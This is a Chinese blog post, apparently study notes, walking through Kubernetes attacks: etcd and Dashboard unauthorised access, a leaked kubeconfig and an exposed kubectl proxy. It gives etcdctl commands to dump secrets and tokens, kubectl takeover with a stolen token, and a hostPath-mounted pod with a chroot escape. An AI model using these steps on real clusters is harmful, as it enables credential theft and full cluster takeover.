首页 > 其他分享 >云原生&K8S&confing泄露&etcd&proxy

云原生&K8S&confing泄露&etcd&proxy

时间:2025-01-17 12:13:36浏览次数:1  
标签:kubectl https -- 访问 token proxy etcd confing secrets



一、Etcd未授权访问

攻击port:2379;默认通过证书认证,主要存放节点的数据,如一些token证书。

第一种情况
没有配置--client-cert-path参数打开证书验证(或者改为false),暴露外Etcd服务存在未授权访问风险;
暴露外部可以访问,直接未授权访问获取secrets和token利用;
第二种
在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。
-只能本地访问,直接未授权访问获取secrets和token利用
第三种
实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。
-只能本地访问,利用ssrf或其他进行获取secrets和token利用复现搭建
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
复现:
暴露etcd未授权-->获取secrets&token->通过token访问API-Server接管
SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
V2/V3版本利用参考:

v2
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
直接访问http://ip:2379/v2/keys/?recursive=true ,
可以看到所有的key-value值。(secrets token)
V3:
https://www.wangan.com/p/7fy7f81f02d9563a
etcdV3版本利用
安装etcdctl
https://github.com/etcd-io/etcd/releases

安装kubectl
https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

1、连接提交测试
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"
2、获取k8s的secrets
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/

3、读取service account token
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

4、通过token访问API-Server,获取集群的权限4、通过token访问API-Server,获取集群的权限
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

Ssrf解决限制访问->获取Secrets&Token->通过Token访问Api-Server接管

二、Dashboard未授权访问

默认端口:8001(一般会被映射成别的端口)
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况:
一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
复现利用
前提条件

用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)1、安装
https://blog.csdn.net/justlpf/article/details/130718774
2、启动
kubectl create -f recommended.yam
3、卸载
kubectl delete -f recommended.yaml

4、查看状态
kubectl get pod,svc -n kubernetes-dashboard

5、利用
新增Pod后续同前面利用一致
apiVersion: v1 kind: Pod metadata: name: xiaodisec spec: containers: image: nginx name: xiaodisec volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /
\找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸

三、Configfile鉴权文件泄露

攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存
在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:
-如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
-如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
-如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config

复现利用
K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

1、将获取到的config复制
2、安装kubectl使用config连接
安装kubectl:

https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

连接:

kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
3、上传利用test.yaml创建pod
kubectl apply -f test.yaml -n default --kubeconfig=config

4、连接pod后进行容器挂载逃逸
kubectl exec -it xiaodisec bash -n default --kubeconfig=config
cd /mnt
chroot . bash

四、Kubetctl Proxy不安全配置

运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
复现利用

类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案

kubectl -s http://192.168.139.130:8009 get pods -n kube-system

参考文章。

https://www.cnblogs.com/loveqixin/p/18654996
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
https://www.wangan.com/p/7fy7f81f02d9563a

标签:kubectl,https,--,访问,token,proxy,etcd,confing,secrets
From: https://www.cnblogs.com/lusang/p/18676661

相关文章

  • cliproxy海外 IP 的应用场景
    在当今全球化与数字化深度交织的时代,海外IP扮演着愈发关键的角色,其应用场景广泛地渗透到诸多领域,为个人、企业乃至科研机构开辟了新的发展路径。一、跨境电商运营对于跨境电商从业者而言,海外IP堪称业务拓展的得力助手。一方面,在店铺注册环节,部分海外电商平台基于地域限制......
  • 前端必备基础系列(八)Proxy/Reflect/Map/WeakMap
    1.解释JavaScript中的Proxy对象是什么以及它是如何工作的,用于哪些场景?Proxy是ES6引入的一种新特性,允许我们创建一个代理对象来拦截并定制对另一个对象的基本操作。比如获取、设置、删除数据等。Proxy通过一个构造函数创建,接受两个参数:target:希望代理的目标对象handler:一个......
  • midjourney-proxy - midjourney代理
    4700Stars2300Forks0Issues13贡献者Apache-2.0LicenseJava语言主页:MidjourneyAPI-EnableMidJourneyDiscordproxyandsetupAIdrawingAPIcalls.更多AI开源软件:AI开源-小众AImidjourney-proxy为使用MidJourneyDiscord频道的用户提供了一个代理,使......
  • python 代码实现了从NetCDF格式的气象数据文件中提取亮温(TBB)数据,识别中尺度对流系统(MC
    importnumpyasnpimportnetCDF4asncimportosimportcv2fromskimageimportmeasureimportmatplotlib.pyplotasplt#定义常量和参数DATA_DIR=r'E:\Data\FY4-TBB_ALL'TRACK_OUTPUT=r'E:\Data\mcs_tracks.txt'OVERLAP_THRESHOLD=0.3......
  • nginx中proxy_pass的斜杠详细说明
    一、proxy_pass后面有/location/api/{proxy_passhttp://localhost:8080/;}location/api/{proxy_passhttp://localhost:8080/xx/;}比如请求http://localhost/api/123.html经过处理后实际请求地址是http://loca......
  • ProxyPin开源免费抓包工具,支持Windows、Mac、Android、IOS、Linux 全平台系统
    您可以使用它来拦截、检查和重写HTTP(S)流量,支持Flutter应用抓包,ProxyPin基于Flutter开发,UI美观易用。核心特性手机扫码连接:不用手动配置Wifi代理,包括配置同步。所有终端都可以互相扫码连接转发流量。域名过滤:只拦截您所需要的流量,不拦截其他流量,避免干扰其他应用。搜索:根......
  • [转]使用nginx的proxy_bind选项配置透明的反向代理
     原文:https://pengpengxp.github.io/archive/before-2018-11-10/2017-06-27-%E4%BD%BF%E7%94%A8nginx%E7%9A%84proxy_bind%E9%80%89%E9%A1%B9%E9%85%8D%E7%BD%AE%E9%80%8F%E6%98%8E%E7%9A%84%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86.html 1 背景一般使用nginx做为反向代理......
  • 云上攻防-云原生&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露
    知识点1、云原生-K8s安全-etcd未授权访问2、云原生-K8s安全-Dashboard未授权访问3、云原生-K8s安全-Configfile鉴权文件泄漏4、云原生-K8s安全-KubectlProxy不安全配置搭建环境使用3台Centos7(可参考录像或者看下面两个文章搭建)https://www.jianshu.com/p/25c01cae990......
  • SpringBoot项目启动报错java.lang.ArrayStoreException: sun.reflect.annotation.Type
    问题今天启动业余学习项目里的某服务A发现启动失败,报错信息如下:[ERROR][2025-01-0515:41:26,083][main]com.cdfive.springboot.startup.ApplicationStartupExceptionReporter[30]-error=>java.lang.ArrayStoreException:sun.reflect.annotation.TypeNotPresentExcepti......
  • http代理(proxy)配置都有哪些方法?
    今天我将和大家探讨关于HTTPproxy配置的不同方法。在网络通信中,HTTPproxy配置(或称为IP代理)起着重要的作用,它允许我们在客户端和服务器之间建立中间代理,从而实现匿名性、访问控制和性能优化等目的。了解HTTPproxy配置的不同方法可以帮助我们更好地应用代理技术,保护隐私,提高......